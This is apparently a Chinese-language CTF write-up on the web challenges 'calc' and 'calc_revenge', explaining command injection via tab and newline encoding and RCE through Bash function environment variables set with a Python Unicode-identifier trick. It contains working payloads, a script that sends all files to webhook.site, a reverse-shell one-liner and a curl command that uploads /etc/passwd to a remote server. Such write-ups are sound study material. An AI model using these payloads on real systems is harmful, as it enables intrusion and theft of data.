一、calc

(啥都不会做呜呜呜

直接看题目:

image-20221205171322716

给了部分源码:(calc-revenge给了完整的附件,也可以看)

image-20221205171350671

eval()试了很久,过滤了很多字符,那么注入点应该就是system()了

主要有几个注意点:

  • data需要返回值,否则会报错
  • 如何构造log的值

1、空格 替换 %09,也就是tab

2、利用%0a换行符,截断多个命令,这样就能单独执行我们构造的命令

3、可以给data返回字符串,将命令用单引号包裹,也是可以执行的;python中三个引号包裹的也是字符串,不过可以换行

看了很多WP,由于bash、wget、curl等命令没有过滤,所以大致思路就是:

  • 上传脚本到我们的服务器
  • 利用wget下载脚本到靶机
  • bash命令执行下载的脚本
  • 脚本中就是执行命令后写入txt,利用curl携带txt访问https://webhook.site

除了https://webhook.site,http://http.requestbin.buuoj.cn应该也是一样的

不过request被ban了

脚本:

test.sh
#!/bin/bash
cat * > temp.txt
curl -X GET -F xx=@temp.txt 'https://webhook.site/xxxxxx'

payload:

num=%0a%27wget%27%09%27ip:port%27%0a
num=%0a%27bash%27%09%27test.sh%27%0a

原题是DASCTF X SU 三月春季挑战赛:

可以看看大致思路https://xiaolong22333.top/index.php/archives/140/

二、calc_revenge

(终于复现成功了,居然是因为少了一个空格5555

和calc一样,其实是一样的题目,上面的以为出题人加了一个可控点log中的num,所以导致了非预期,这题把log的num去掉了

出题人博客

搜了挺久的资料,先把问题列出来:

  • 为什么设置环境变量能rce?
  • 怎样设置环境变量
  • 怎样绕过黑名单

1、为什么设置环境变量能rce?

原文在这

Bash可以从环境变量中导入函数,其实 Bash 就是把满足 “BASH_FUNC_函数名%%=(){ 函数体 }“ 格式的环境变量作为函数源码解析并导入,同名的话前者会被覆盖。

例如 :BASH_FUNC_echo%%=(){ ls /; }(注意大括号和函数体之间的空格)

那么原先的echo就被上面的echo覆盖了,会列出根目录下的文件和目录。

所以若是能设置环境变量的话,可以直接把echo覆盖,因为参数log里面也有echo。

2、怎样设置环境变量?

这就要利用python的特性了:list生成器和中括号

首先是覆盖变量:

a=1 
for a in [0]:
    pass
print(a) #输出0

绕过空格可以利用list生成器和中括号:这种写法只有python2才能成功,python3不行(我是 python2.7.18 python3.9.7)

a=1
print([[0]for[a]in[[0]]]) #原文是[[str][0]for[a]in[[0]]]  都行,没深究
print(a) #输出0

但是环境变量是字典的格式,仍然可以覆盖:

a={'test':'123'}
print([[0]for[a['test']]in[['666']]])
print(a) #输出 {'test':'666'}

这样就解决了设置环境变量的问题了

3、怎样绕过黑名单?

python 设置环境变量需要通过os.environ,os被过滤

python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ ,也就是说如果我们使用了UTF-8中的非ASCII码作为标识符,那么其会被函数转换为NFKC标准格式,也就是说我们可以使用例如ᵒ来代替o,从而绕过限制

还有一点,python中被引号包裹的字符串可以用十六进制绕过,例如: ‘\x61’ => ‘a’

该解决的都解决了,payload是:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x1\x2\x3\x4\x5\x6']]]

十六进制字符串里就可以发挥你的想象力了,覆盖变量后,在执行一次就行了(注意函数体和大括号之间的空格,我就是在这卡了很久)

原文里是反弹shell:bash -i >& /dev/tcp/ip/port 0>&1;

还有一种没见过的利用方式记录一下,读文件(PUT请求):

curl -T - vps < /etc/passwd

由于flag被改名了,其实可以读一下/root/.bash_history获取历史命令,但是因为不是root权限,所以文件传不出来

三、ez_bypass

hint:waf是 modsecurity